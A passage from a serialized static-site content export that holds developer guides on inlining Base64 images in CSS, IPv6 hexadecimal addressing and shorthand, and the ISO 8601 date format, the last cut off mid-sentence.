components",[44,131271,131272],{},"Decorative borders or patterns that appear on every page",[44,131274,131275],{},"Email HTML templates where external images are often blocked",[16,131277,131278],{},[47,131279,131280],{},"Poor candidates:",[41,131282,131283,131286,131289,131292],{},[44,131284,131285],{},"Photographs or complex images (10+ KB)",[44,131287,131288],{},"Images used on only one page (no repeated request savings)",[44,131290,131291],{},"Large hero images or backgrounds",[44,131293,131294],{},"Any image over 10 KB — the size penalty becomes significant",[16,131296,131297],{},"The reason: Base64 encoding increases file size by approximately 33%. A 2 KB icon becomes 2.7 KB in Base64 — acceptable when it saves a full HTTP request. A 100 KB photo becomes 133 KB — a terrible trade.",[11,131299,131301],{"id":131300},"the-request-reduction-benefit","The Request Reduction Benefit",[16,131303,131304],{},"Each external image requires a separate HTTP request with its own connection setup, headers, and latency. On HTTP\u002F1.1, browsers limit concurrent connections per domain (typically 6). Inline images bypass this limit entirely.",[193,131306,131307,131318],{},[196,131308,131309],{},[199,131310,131311,131313,131316],{},[202,131312,15609],{},[202,131314,131315],{},"External Image",[202,131317,13107],{},[211,131319,131320,131329,131338,131348],{},[199,131321,131322,131324,131327],{},[216,131323,130670],{},[216,131325,131326],{},"1 per image",[216,131328,5285],{},[199,131330,131331,131334,131336],{},[216,131332,131333],{},"File size increase",[216,131335,22317],{},[216,131337,13053],{},[199,131339,131340,131343,131346],{},[216,131341,131342],{},"Render blocking",[216,131344,131345],{},"Possible (connection limit)",[216,131347,6117],{},[199,131349,131350,131353,131355],{},[216,131351,131352],{},"Cacheable independently",[216,131354,3057],{},[216,131356,131357],{},"No (cached with CSS)",[16,131359,131360],{},"On HTTP\u002F2 and HTTP\u002F3, the request cost is much lower thanks to multiplexing. This reduces the benefit of inlining — the overhead of a separate request is smaller, so the 33% size penalty is harder to justify.",[11,131362,131364],{"id":131363},"svgs-a-better-approach-than-base64","SVGs: A Better Approach Than Base64",[16,131366,131367],{},"For SVG images, you have an alternative that avoids Base64 entirely: inline SVG markup or URL-encoded SVG data URIs.",[135,131369,131371],{"className":1554,"code":131370,"language":1556,"meta":141,"style":141},"\u002F* URL-encoded SVG — smaller than Base64, no encoding overhead *\u002F\n.icon-close {\n  background-image: url(\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' viewBox='0 0 24 24'%3E%3Cpath d='M18 6L6 18M6 6l12 12' stroke='%23fff' stroke-width='2'\u002F%3E%3C\u002Fsvg%3E\");\n}\n\n\u002F* Inline SVG in HTML — most efficient, styleable with CSS *\u002F\n\u003Cbutton>\n  \u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" viewBox=\"0 0 24 24\">\n    \u003Cpath d=\"M18 6L6 18M6 6l12 12\" stroke=\"currentColor\" stroke-width=\"2\"\u002F>\n  \u003C\u002Fsvg>\n  Close\n\u003C\u002Fbutton>\n",[143,131372,131373,131378,131385,131400,131404,131408,131413,131421,131437,131454,131462,131467],{"__ignoreMap":141},[1560,131374,131375],{"class":1562,"line":1563},[1560,131376,131377],{"class":1649},"\u002F* URL-encoded SVG — smaller than Base64, no encoding overhead *\u002F\n",[1560,131379,131380,131383],{"class":1562,"line":337},[1560,131381,131382],{"class":1566},".icon-close",[1560,131384,1571],{"class":1570},[1560,131386,131387,131389,131391,131393,131395,131398],{"class":1562,"line":343},[1560,131388,11305],{"class":1576},[1560,131390,1663],{"class":1570},[1560,131392,11310],{"class":1576},[1560,131394,1688],{"class":1570},[1560,131396,131397],{"class":5634},"\"data:image\u002Fsvg+xml,%3Csvg xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg' viewBox='0 0 24 24'%3E%3Cpath d='M18 6L6 18M6 6l12 12' stroke='%23fff' stroke-width='2'\u002F%3E%3C\u002Fsvg%3E\"",[1560,131399,1744],{"class":1570},[1560,131401,131402],{"class":1562,"line":365},[1560,131403,1585],{"class":1570},[1560,131405,131406],{"class":1562,"line":889},[1560,131407,1702],{"emptyLinePlaceholder":363},[1560,131409,131410],{"class":1562,"line":1710},[1560,131411,131412],{"class":1649},"\u002F* Inline SVG in HTML — most efficient, styleable with CSS *\u002F\n",[1560,131414,131415,131417,131419],{"class":1562,"line":1717},[1560,131416,6431],{"class":1570},[1560,131418,12250],{"class":2484},[1560,131420,6441],{"class":1669},[1560,131422,131423,131425,131427,131430,131432,131435],{"class":1562,"line":1747},[1560,131424,11223],{"class":1570},[1560,131426,11192],{"class":2484},[1560,131428,131429],{"class":1570}," xmlns=\"http:\u002F\u002Fwww",[1560,131431,12794],{"class":1566},[1560,131433,131434],{"class":1570},".org\u002F2000\u002Fsvg\" viewBox=\"0 0 24 24\"",[1560,131436,6441],{"class":1669},[1560,131438,131439,131441,131443,131446,131449,131452],{"class":1562,"line":2507},[1560,131440,12292],{"class":1570},[1560,131442,11226],{"class":2484},[1560,131444,131445],{"class":1570}," d=\"M18 6L6 18M6 6l12 12\" stroke=\"currentColor\" ",[1560,131447,131448],{"class":2484},"stroke-width",[1560,131450,131451],{"class":1570},"=\"2\"\u002F",[1560,131453,6441],{"class":1669},[1560,131455,131456,131458,131460],{"class":1562,"line":2524},[1560,131457,12331],{"class":1570},[1560,131459,11192],{"class":2484},[1560,131461,6441],{"class":1669},[1560,131463,131464],{"class":1562,"line":2529},[1560,131465,131466],{"class":1570},"  Close\n",[1560,131468,131469,131471,131473],{"class":1562,"line":2534},[1560,131470,11242],{"class":1570},[1560,131472,12250],{"class":2484},[1560,131474,6441],{"class":1669},[16,131476,131477],{},"Inline SVG in HTML is generally the best option because:",[41,131479,131480,131483,131493,131496],{},[44,131481,131482],{},"No encoding overhead — the SVG markup is the image",[44,131484,131485,131486,1459,131488,1466,131490,131492],{},"Styleable with CSS — ",[143,131487,12611],{},[143,131489,12614],{},[143,131491,12617],{}," respond to parent styles",[44,131494,131495],{},"No extra request and no Base64 size penalty",[44,131497,131498,131499,1531,131501,109891],{},"Accessible — you can add ",[143,131500,96068],{},[143,131502,12666],{},[11,131504,131506],{"id":131505},"caching-implications","Caching Implications",[16,131508,131509],{},"External images cache independently from your CSS. When you update your stylesheet, the cached images persist. With Base64 inlining, image changes are tied to CSS changes — whenever you modify any CSS, the browser re-downloads all inline images too.",[16,131511,131512],{},"This matters for apps with frequent deployments. If your CSS changes daily but your icons rarely do, Base64 inlining forces users to re-download unchanged icons with every deploy. External images would remain cached.",[16,131514,131515],{},"Workaround: If you inline images, extract them into a separate CSS file dedicated to icons. This way, icon CSS caches independently from layout CSS.",[11,131517,131519],{"id":131518},"automation-with-build-tools","Automation with Build Tools",[16,131521,131522],{},"Manually encoding images to Base64 is tedious. Build tools automate this:",[16,131524,131525],{},[47,131526,131527],{},"Vite:",[135,131529,131531],{"className":1607,"code":131530,"language":1609,"meta":141,"style":141},"\u002F\u002F Images under 4 KB are inlined automatically\nexport default defineConfig({\n  build: {\n    assetsInlineLimit: 4096  \u002F\u002F bytes\n  }\n})\n",[143,131532,131533,131538,131548,131552,131562,131566],{"__ignoreMap":141},[1560,131534,131535],{"class":1562,"line":1563},[1560,131536,131537],{"class":1649},"\u002F\u002F Images under 4 KB are inlined automatically\n",[1560,131539,131540,131542,131544,131546],{"class":1562,"line":337},[1560,131541,9187],{"class":1669},[1560,131543,11837],{"class":1669},[1560,131545,17522],{"class":1566},[1560,131547,17525],{"class":1570},[1560,131549,131550],{"class":1562,"line":343},[1560,131551,11844],{"class":1570},[1560,131553,131554,131556,131559],{"class":1562,"line":365},[1560,131555,11849],{"class":1570},[1560,131557,131558],{"class":1576},"4096",[1560,131560,131561],{"class":1649},"  \u002F\u002F bytes\n",[1560,131563,131564],{"class":1562,"line":889},[1560,131565,4959],{"class":1570},[1560,131567,131568],{"class":1562,"line":1710},[1560,131569,1626],{"class":1570},[16,131571,131572],{},[47,131573,131574],{},"Webpack (url-loader):",[135,131576,131578],{"className":1607,"code":131577,"language":1609,"meta":141,"style":141},"module.exports = {\n  module: {\n    rules: [{\n      test: \u002F\\.(png|jpg|svg)$\u002F,\n      type: 'asset',\n      parser: {\n        dataUrlCondition: { maxSize: 4 * 1024 }\n      }\n    }]\n  }\n}\n",[143,131579,131580,131592,131596,131600,131624,131632,131636,131648,131652,131657,131661],{"__ignoreMap":141},[1560,131581,131582,131584,131586,131588,131590],{"class":1562,"line":1563},[1560,131583,11885],{"class":1576},[1560,131585,468],{"class":1570},[1560,131587,11890],{"class":1576},[1560,131589,8186],{"class":1669},[1560,131591,1571],{"class":1570},[1560,131593,131594],{"class":1562,"line":337},[1560,131595,11899],{"class":1570},[1560,131597,131598],{"class":1562,"line":343},[1560,131599,11904],{"class":1570},[1560,131601,131602,131604,131606,131608,131610,131612,131614,131616,131618,131620,131622],{"class":1562,"line":365},[1560,131603,11909],{"class":1570},[1560,131605,11912],{"class":5634},[1560,131607,11916],{"class":11915},[1560,131609,11920],{"class":11919},[1560,131611,7334],{"class":1669},[1560,131613,11925],{"class":11919},[1560,131615,7334],{"class":1669},[1560,131617,11935],{"class":11919},[1560,131619,11938],{"class":1669},[1560,131621,9423],{"class":5634},[1560,131623,11943],{"class":1570},[1560,131625,131626,131628,131630],{"class":1562,"line":889},[1560,131627,11948],{"class":1570},[1560,131629,11951],{"class":5634},[1560,131631,11943],{"class":1570},[1560,131633,131634],{"class":1562,"line":1710},[1560,131635,11958],{"class":1570},[1560,131637,131638,131640,131642,131644,131646],{"class":1562,"line":1717},[1560,131639,11963],{"class":1570},[1560,131641,12546],{"class":1576},[1560,131643,8064],{"class":1669},[1560,131645,111330],{"class":1576},[1560,131647,27879],{"class":1570},[1560,131649,131650],{"class":1562,"line":1747},[1560,131651,28244],{"class":1570},[1560,131653,131654],{"class":1562,"line":2507},[1560,131655,131656],{"class":1570},"    }]\n",[1560,131658,131659],{"class":1562,"line":2524},[1560,131660,4959],{"class":1570},[1560,131662,131663],{"class":1562,"line":2529},[1560,131664,1585],{"class":1570},[16,131666,131667],{},"Set the threshold based on your performance budget. Many teams use 2–4 KB as the maximum size for automatic inlining.",[11,131669,1355],{"id":1354},[41,131671,131672,131675,131678,131681,131684,131687],{},[44,131673,131674],{},"Base64 inlining eliminates HTTP requests but increases image size by ~33%",[44,131676,131677],{},"Only inline images under 2–4 KB — icons, tiny patterns, and decorative elements",[44,131679,131680],{},"On HTTP\u002F2+, request overhead is low — inlining provides less benefit",[44,131682,131683],{},"For SVGs, prefer URL-encoded data URIs or inline SVG markup over Base64",[44,131685,131686],{},"Base64 images cache with your CSS — extract icons into a separate file for better cache behavior",[44,131688,131689],{},"Automate inlining with your bundler's asset pipeline rather than encoding manually",[11,131691,321],{"id":320},[41,131693,131694,131698,131702],{},[44,131695,131696],{},[98,131697,13323],{"href":12172},[44,131699,131700],{},[98,131701,13328],{"href":12178},[44,131703,131704],{},[98,131705,13333],{"href":12217},[11,131707,286],{"id":285},[16,131709,131710,131711,131713],{},"Convert your images to Base64 with our free ",[98,131712,13341],{"href":10920}," tool. Upload any image, get the encoded string, and decide whether inlining is right for your use case.",[2043,131715,131716],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .snhLl, html code.shiki .snhLl{--shiki-default:#22863A;--shiki-default-font-weight:bold;--shiki-dark:#85E89D;--shiki-dark-font-weight:bold}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}",{"title":141,"searchDepth":337,"depth":337,"links":131718},[131719,131720,131721,131722,131723,131724,131725,131726,131727],{"id":131172,"depth":337,"text":131173},{"id":131252,"depth":337,"text":131253},{"id":131300,"depth":337,"text":131301},{"id":131363,"depth":337,"text":131364},{"id":131505,"depth":337,"text":131506},{"id":131518,"depth":337,"text":131519},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn when to inline images in CSS using Base64 encoding, the performance trade-offs, and best practices for icons, sprites, and small assets.",{"immutable":363},"\u002Fguides\u002Finline-images-css-base64",{"title":131164,"description":131728},"guides\u002Finline-images-css-base64","UrALUJkrYfjEgUNPFLPHDhqxToRC_Kp0ugVglMgFAZ0",{"id":131735,"title":131736,"body":131737,"date":2070,"description":132273,"extension":361,"meta":132274,"navigation":363,"path":132275,"readingTime":1710,"seo":132276,"stem":132277,"__hash__":132278},"guides\u002Fguides\u002Fipv6-hexadecimal-addressing.md","IPv6 and Hexadecimal Addressing",{"type":8,"value":131738,"toc":132266},[131739,131742,131746,131749,131755,131769,131772,131830,131833,131837,131840,131845,131850,131853,131859,131877,131885,131890,131892,131898,131910,131913,131974,131987,131991,131994,132000,132003,132056,132061,132065,132068,132071,132100,132103,132165,132169,132248,132258,132264],[16,131740,131741],{},"IPv6 addresses are 128 bits long, written as eight groups of four hexadecimal digits. That gives us 340 undecillion possible addresses — enough to assign trillions of addresses to every square meter of Earth's surface. The hexadecimal notation is not arbitrary; it compresses the 128-bit binary address into a human-parseable format. Understanding the hex representation and its shorthand rules is essential for network configuration, firewall rules, and debugging connectivity issues.",[11,131743,131745],{"id":131744},"structure-of-an-ipv6-address","Structure of an IPv6 Address",[16,131747,131748],{},"An IPv6 address is 128 bits divided into eight 16-bit groups, each written as four hexadecimal digits and separated by colons:",[135,131750,131753],{"className":131751,"code":131752,"language":140},[138],"2001:0db8:85a3:0000:0000:8a2e:0370:7334\n",[143,131754,131752],{"__ignoreMap":141},[16,131756,131757,131758,91259,131760,131763,131764,91259,131766,28740],{},"Each group represents 16 bits (2 bytes), so four hex digits cover the range ",[143,131759,115698],{},[143,131761,131762],{},"ffff"," — which is ",[143,131765,5285],{},[143,131767,131768],{},"65535",[16,131770,131771],{},"Breaking this down:",[193,131773,131774,131787],{},[196,131775,131776],{},[199,131777,131778,131780,131782,131785],{},[202,131779,29085],{},[202,131781,14302],{},[202,131783,131784],{},"Hex Digits",[202,131786,133],{},[211,131788,131789,131803,131817],{},[199,131790,131791,131794,131796,131798],{},[216,131792,131793],{},"Full address",[216,131795,5324],{},[216,131797,36042],{},[216,131799,131800],{},[143,131801,131802],{},"2001:0db8:85a3:0000:0000:8a2e:0370:7334",[199,131804,131805,131808,131810,131812],{},[216,131806,131807],{},"One group",[216,131809,10057],{},[216,131811,12546],{},[216,131813,131814],{},[143,131815,131816],{},"0db8",[199,131818,131819,131822,131824,131826],{},[216,131820,131821],{},"One hex digit",[216,131823,12546],{},[216,131825,3585],{},[216,131827,131828],{},[143,131829,27742],{},[16,131831,131832],{},"The address space is logically divided: the first 64 bits are the network prefix (assigned by your ISP or organization), and the last 64 bits are the interface identifier (usually derived from the MAC address via EUI-64 or randomly generated for privacy).",[11,131834,131836],{"id":131835},"shorthand-rules","Shorthand Rules",[16,131838,131839],{},"Full IPv6 addresses are verbose. Two compression rules make them manageable:",[16,131841,131842],{},[47,131843,131844],{},"Rule 1 — Drop leading zeros within each group:",[135,131846,131848],{"className":131847,"code":131752,"language":140},[138],[143,131849,131752],{"__ignoreMap":141},[16,131851,131852],{},"becomes:",[135,131854,131857],{"className":131855,"code":131856,"language":140},[138],"2001:db8:85a3:0:0:8a2e:370:7334\n",[143,131858,131856],{"__ignoreMap":141},[16,131860,421,131861,131863,131864,1459,131867,28833,131869,1466,131871,28833,131874,468],{},[143,131862,131816],{}," shortens to ",[143,131865,131866],{},"db8",[143,131868,115698],{},[143,131870,5285],{},[143,131872,131873],{},"0370",[143,131875,131876],{},"370",[16,131878,131879],{},[47,131880,131881,131882,22769],{},"Rule 2 — Replace one consecutive sequence of all-zero groups with ",[143,131883,131884],{},"::",[135,131886,131888],{"className":131887,"code":131856,"language":140},[138],[143,131889,131856],{"__ignoreMap":141},[16,131891,131852],{},[135,131893,131896],{"className":131894,"code":131895,"language":140},[138],"2001:db8:85a3::8a2e:370:7334\n",[143,131897,131895],{"__ignoreMap":141},[16,131899,421,131900,131902,131903,131905,131906,131909],{},[143,131901,131884],{}," replaces the two consecutive zero groups. You can only apply this rule once per address — otherwise, the parser cannot determine how many zero groups each ",[143,131904,131884],{}," represents. For example, ",[143,131907,131908],{},"2001::1234::5678"," is invalid because the position of the omitted zeros is ambiguous.",[16,131911,131912],{},"Some compressed examples:",[193,131914,131915,131925],{},[196,131916,131917],{},[199,131918,131919,131922],{},[202,131920,131921],{},"Full Form",[202,131923,131924],{},"Compressed",[211,131926,131927,131939,131951,131963],{},[199,131928,131929,131934],{},[216,131930,131931],{},[143,131932,131933],{},"fe80:0000:0000:0000:0000:0000:0000:0001",[216,131935,131936],{},[143,131937,131938],{},"fe80::1",[199,131940,131941,131946],{},[216,131942,131943],{},[143,131944,131945],{},"0000:0000:0000:0000:0000:0000:0000:0001",[216,131947,131948],{},[143,131949,131950],{},"::1",[199,131952,131953,131958],{},[216,131954,131955],{},[143,131956,131957],{},"2001:0db8:0000:0000:0000:0000:0000:0000",[216,131959,131960],{},[143,131961,131962],{},"2001:db8::",[199,131964,131965,131970],{},[216,131966,131967],{},[143,131968,131969],{},"0000:0000:0000:0000:0000:0000:0000:0000",[216,131971,131972],{},[143,131973,131884],{},[16,131975,131976,131977,131979,131980,131983,131984,131986],{},"The loopback address ",[143,131978,131950],{}," is IPv6's equivalent of ",[143,131981,131982],{},"127.0.0.1",". The unspecified address ",[143,131985,131884],{}," is used in binding to indicate \"listen on all interfaces.\"",[11,131988,131990],{"id":131989},"prefix-notation","Prefix Notation",[16,131992,131993],{},"IPv6 uses CIDR notation for subnetting, identical to IPv4:",[135,131995,131998],{"className":131996,"code":131997,"language":140},[138],"2001:db8::\u002F32\n",[143,131999,131997],{"__ignoreMap":141},[16,132001,132002],{},"This means the first 32 bits are the network prefix, and the remaining 96 bits are available for subnet and host addressing. Common prefix lengths:",[193,132004,132005,132014],{},[196,132006,132007],{},[199,132008,132009,132012],{},[202,132010,132011],{},"Prefix",[202,132013,2758],{},[211,132015,132016,132026,132036,132046],{},[199,132017,132018,132023],{},[216,132019,132020],{},[143,132021,132022],{},"\u002F128",[216,132024,132025],{},"Single host address",[199,132027,132028,132033],{},[216,132029,132030],{},[143,132031,132032],{},"\u002F64",[216,132034,132035],{},"Standard subnet (typical LAN)",[199,132037,132038,132043],{},[216,132039,132040],{},[143,132041,132042],{},"\u002F48",[216,132044,132045],{},"Organization allocation",[199,132047,132048,132053],{},[216,132049,132050],{},[143,132051,132052],{},"\u002F32",[216,132054,132055],{},"ISP or large organization block",[16,132057,78047,132058,132060],{},[143,132059,132032],{}," is the smallest recommended subnet in IPv6. Unlike IPv4, where subnets are often \u002F24 or smaller, IPv6 assumes a \u002F64 as the baseline — even for a point-to-point link.",[11,132062,132064],{"id":132063},"ipv6-and-hex-conversion","IPv6 and Hex Conversion",[16,132066,132067],{},"When configuring firewalls, writing route filters, or parsing packet captures, you often need to convert between hex groups and decimal or binary.",[16,132069,132070],{},"Each hex digit maps to 4 bits:",[135,132072,132074],{"className":8259,"code":132073,"language":8261,"meta":141,"style":141},"# Convert an IPv6 group to decimal\nint('85a3', 16)  # 34211\n\n# Convert decimal back to hex group\nformat(34211, '04x')  # '85a3'\n",[143,132075,132076,132081,132086,132090,132095],{"__ignoreMap":141},[1560,132077,132078],{"class":1562,"line":1563},[1560,132079,132080],{},"# Convert an IPv6 group to decimal\n",[1560,132082,132083],{"class":1562,"line":337},[1560,132084,132085],{},"int('85a3', 16)  # 34211\n",[1560,132087,132088],{"class":1562,"line":343},[1560,132089,1702],{"emptyLinePlaceholder":363},[1560,132091,132092],{"class":1562,"line":365},[1560,132093,132094],{},"# Convert decimal back to hex group\n",[1560,132096,132097],{"class":1562,"line":889},[1560,132098,132099],{},"format(34211, '04x')  # '85a3'\n",[16,132101,132102],{},"For subnet calculations, you need to work with the full 128-bit value:",[135,132104,132106],{"className":8259,"code":132105,"language":8261,"meta":141,"style":141},"import ipaddress\n\n# Parse and inspect\naddr = ipaddress.ip_address('2001:db8::1')\nnet = ipaddress.ip_network('2001:db8::\u002F32')\n\n# Check membership\naddr in net  # True\n\n# List first few hosts in a \u002F64 subnet\nsubnet = ipaddress.ip_network('2001:db8:1::\u002F64')\nlist(subnet.hosts())[:5]  # First 5 host addresses\n",[143,132107,132108,132113,132117,132122,132127,132132,132136,132141,132146,132150,132155,132160],{"__ignoreMap":141},[1560,132109,132110],{"class":1562,"line":1563},[1560,132111,132112],{},"import ipaddress\n",[1560,132114,132115],{"class":1562,"line":337},[1560,132116,1702],{"emptyLinePlaceholder":363},[1560,132118,132119],{"class":1562,"line":343},[1560,132120,132121],{},"# Parse and inspect\n",[1560,132123,132124],{"class":1562,"line":365},[1560,132125,132126],{},"addr = ipaddress.ip_address('2001:db8::1')\n",[1560,132128,132129],{"class":1562,"line":889},[1560,132130,132131],{},"net = ipaddress.ip_network('2001:db8::\u002F32')\n",[1560,132133,132134],{"class":1562,"line":1710},[1560,132135,1702],{"emptyLinePlaceholder":363},[1560,132137,132138],{"class":1562,"line":1717},[1560,132139,132140],{},"# Check membership\n",[1560,132142,132143],{"class":1562,"line":1747},[1560,132144,132145],{},"addr in net  # True\n",[1560,132147,132148],{"class":1562,"line":2507},[1560,132149,1702],{"emptyLinePlaceholder":363},[1560,132151,132152],{"class":1562,"line":2524},[1560,132153,132154],{},"# List first few hosts in a \u002F64 subnet\n",[1560,132156,132157],{"class":1562,"line":2529},[1560,132158,132159],{},"subnet = ipaddress.ip_network('2001:db8:1::\u002F64')\n",[1560,132161,132162],{"class":1562,"line":2534},[1560,132163,132164],{},"list(subnet.hosts())[:5]  # First 5 host addresses\n",[11,132166,132168],{"id":132167},"special-address-ranges","Special Address Ranges",[193,132170,132171,132181],{},[196,132172,132173],{},[199,132174,132175,132177,132179],{},[202,132176,29088],{},[202,132178,132011],{},[202,132180,2758],{},[211,132182,132183,132196,132209,132222,132235],{},[199,132184,132185,132190,132193],{},[216,132186,132187],{},[143,132188,132189],{},"::1\u002F128",[216,132191,132192],{},"Loopback",[216,132194,132195],{},"Local testing",[199,132197,132198,132203,132206],{},[216,132199,132200],{},[143,132201,132202],{},"fe80::\u002F10",[216,132204,132205],{},"Link-local",[216,132207,132208],{},"Auto-configured, no routing",[199,132210,132211,132216,132219],{},[216,132212,132213],{},[143,132214,132215],{},"fc00::\u002F7",[216,132217,132218],{},"Unique local",[216,132220,132221],{},"Private networks (like 10.x.x.x)",[199,132223,132224,132229,132232],{},[216,132225,132226],{},[143,132227,132228],{},"2001:db8::\u002F32",[216,132230,132231],{},"Documentation",[216,132233,132234],{},"Reserved for examples (never routed)",[199,132236,132237,132242,132245],{},[216,132238,132239],{},[143,132240,132241],{},"ff00::\u002F8",[216,132243,132244],{},"Multicast",[216,132246,132247],{},"One-to-many communication",[16,132249,132250,132251,132253,132254,132257],{},"The documentation prefix ",[143,132252,132228],{}," is the IPv6 equivalent of the ",[143,132255,132256],{},"192.0.2.0\u002F24"," documentation range in IPv4. Use it in examples and tutorials — it will never be assigned to a real network.",[16,132259,132260,132261,132263],{},"Understanding IPv6 addressing requires comfort with hexadecimal notation. Practice hex conversions with the number base tool at ",[98,132262,10568],{"href":10568},", which handles bidirectional conversion between hex, decimal, binary, and octal with detailed step breakdowns.",[2043,132265,5093],{},{"title":141,"searchDepth":337,"depth":337,"links":132267},[132268,132269,132270,132271,132272],{"id":131744,"depth":337,"text":131745},{"id":131835,"depth":337,"text":131836},{"id":131989,"depth":337,"text":131990},{"id":132063,"depth":337,"text":132064},{"id":132167,"depth":337,"text":132168},"How IPv6 uses hexadecimal notation and shorthand rules for 128-bit internet addresses.",{},"\u002Fguides\u002Fipv6-hexadecimal-addressing",{"title":131736,"description":132273},"guides\u002Fipv6-hexadecimal-addressing","ErlXpIGq85WxP_m9eppwAFALS2HqHr6wIXvKdBVglf0",{"id":132280,"title":132281,"body":132282,"date":2070,"description":132878,"extension":361,"meta":132879,"navigation":363,"path":132880,"readingTime":1710,"seo":132881,"stem":132882,"__hash__":132883},"guides\u002Fguides\u002Fiso-8601-format-guide.md","ISO 8601 Date Format Guide",{"type":8,"value":132283,"toc":132859},[132284,132291,132295,132298,132300,132378,132385,132389,132458,132470,132474,132479,132485,132488,132492,132495,132515,132521,132525,132531,132535,132541,132585,132598,132600,132604,132614,132707,132713,132716,132729,132733,132736,132740,132818,132820,132848,132850,132856],[16,132285,132286,132287,132290],{},"ISO 8601 is the international standard for representing dates and times in a machine-readable, unambiguous format. If you have worked with REST APIs, database schemas, or log files, you have already encountered it — strings like ",[143,132288,132289],{},"2026-05-28T14:30:00Z"," are ISO 8601 timestamps. This guide covers the format's structure, common patterns, and the pitfalls developers hit most often.",[11,132292,132294],{"id":132293},"basic-format-structure","Basic Format Structure",[16,132296,132297],{},"ISO 8601 prescriptions follow a most-significant-to-least-significant order — year, month, day, hour, minute, second — which makes chronological and lexicographic sorting identical.",[33,132299,87683],{"id":88150},[193,132301,132302,132312],{},[196,132303,132304],{},[199,132305,132306,132308,132310],{},[202,132307,13018],{},[202,132309,133],{},[202,132311,207],{},[211,132313,132314,132323,132334,132345,132356,132367],{},[199,132315,132316,132318,132320],{},[216,132317,88302],{},[216,132319,2070],{},[216,132321,132322],{},"Calendar date",[199,132324,132325,132328,132331],{},[216,132326,132327],{},"YYYY-MM",[216,132329,132330],{},"2026-05",[216,132332,132333],{},"Year and month",[199,132335,132336,132339,132342],{},[216,132337,132338],{},"YYYY",[216,132340,132341],{},"2026",[216,132343,132344],{},"Year only",[199,132346,132347,132350,132353],{},[216,132348,132349],{},"YYYY-DDD",[216,132351,132352],{},"2026-148",[216,132354,132355],{},"Ordinal date (148th day of 2026)",[199,132357,132358,132361,132364],{},[216,132359,132360],{},"YYYY-Www",[216,132362,132363],{},"2026-W22",[216,132365,132366],{},"Week date (22nd week of 2026)",[199,132368,132369,132372,132375],{},[216,132370,132371],{},"YYYY-Www-D",[216,132373,132374],{},"2026-W22-4",[216,132376,132377],{},"Week date with day (Thursday of week 22)",[16,132379,132380,132381,132384],{},"The hyphens are mandatory in the extended format (shown above). A compact format without hyphens — ",[143,132382,132383],{},"20260528"," — is also valid but less readable.",[33,132386,132388],{"id":132387},"time","Time",[193,132390,132391,132401],{},[196,132392,132393],{},[199,132394,132395,132397,132399],{},[202,132396,13018],{},[202,132398,133],{},[202,132400,207],{},[211,132402,132403,132414,132425,132436,132447],{},[199,132404,132405,132408,132411],{},[216,132406,132407],{},"hh:mm:ss",[216,132409,132410],{},"14:30:00",[216,132412,132413],{},"Local time",[199,132415,132416,132419,132422],{},[216,132417,132418],{},"hh:mm:ssZ",[216,132420,132421],{},"14:30:00Z",[216,132423,132424],{},"UTC (Zulu) time",[199,132426,132427,132430,132433],{},[216,132428,132429],{},"hh:mm:ss+05:30",[216,132431,132432],{},"14:30:00+05:30",[216,132434,132435],{},"UTC offset +5:30",[199,132437,132438,132441,132444],{},[216,132439,132440],{},"hh:mm",[216,132442,132443],{},"14:30",[216,132445,132446],{},"Hours and minutes only",[199,132448,132449,132452,132455],{},[216,132450,132451],{},"hhmmss",[216,132453,132454],{},"143000",[216,132456,132457],{},"Compact format",[16,132459,421,132460,132462,132463,63678,132466,132469],{},[143,132461,22039],{}," suffix stands for \"Zulu time\" (UTC+0). Any other offset is written as ",[143,132464,132465],{},"±hh:mm",[143,132467,132468],{},"±hhmm"," in compact form).",[33,132471,132473],{"id":132472},"combined-date-and-time","Combined Date and Time",[16,132475,132476,132477,8037],{},"The date and time are joined by the letter ",[143,132478,23169],{},[135,132480,132483],{"className":132481,"code":132482,"language":140},[138],"2026-05-28T14:30:00Z\n2026-05-28T14:30:00+02:00\n2026-05-28T14:30:00.123Z       (with milliseconds)\n2026-05-28T14:30:00.123456Z    (with microseconds)\n",[143,132484,132482],{"__ignoreMap":141},[16,132486,132487],{},"The fractional seconds can have any number of decimal places, though most implementations standardize on 3 (milliseconds) or 6 (microseconds).",[11,132489,132491],{"id":132490},"timezone-handling","Timezone Handling",[16,132493,132494],{},"The most common source of confusion in ISO 8601 is timezone interpretation:",[41,132496,132497,132503,132509],{},[44,132498,132499,132502],{},[47,132500,132501],{},"Z suffix:"," The timestamp is in UTC. No conversion needed.",[44,132504,132505,132508],{},[47,132506,132507],{},"Offset present:"," The timestamp is in the specified offset. Convert to UTC by subtracting the offset.",[44,132510,132511,132514],{},[47,132512,132513],{},"No offset or Z:"," The timestamp is \"local\" time with no timezone information. This is 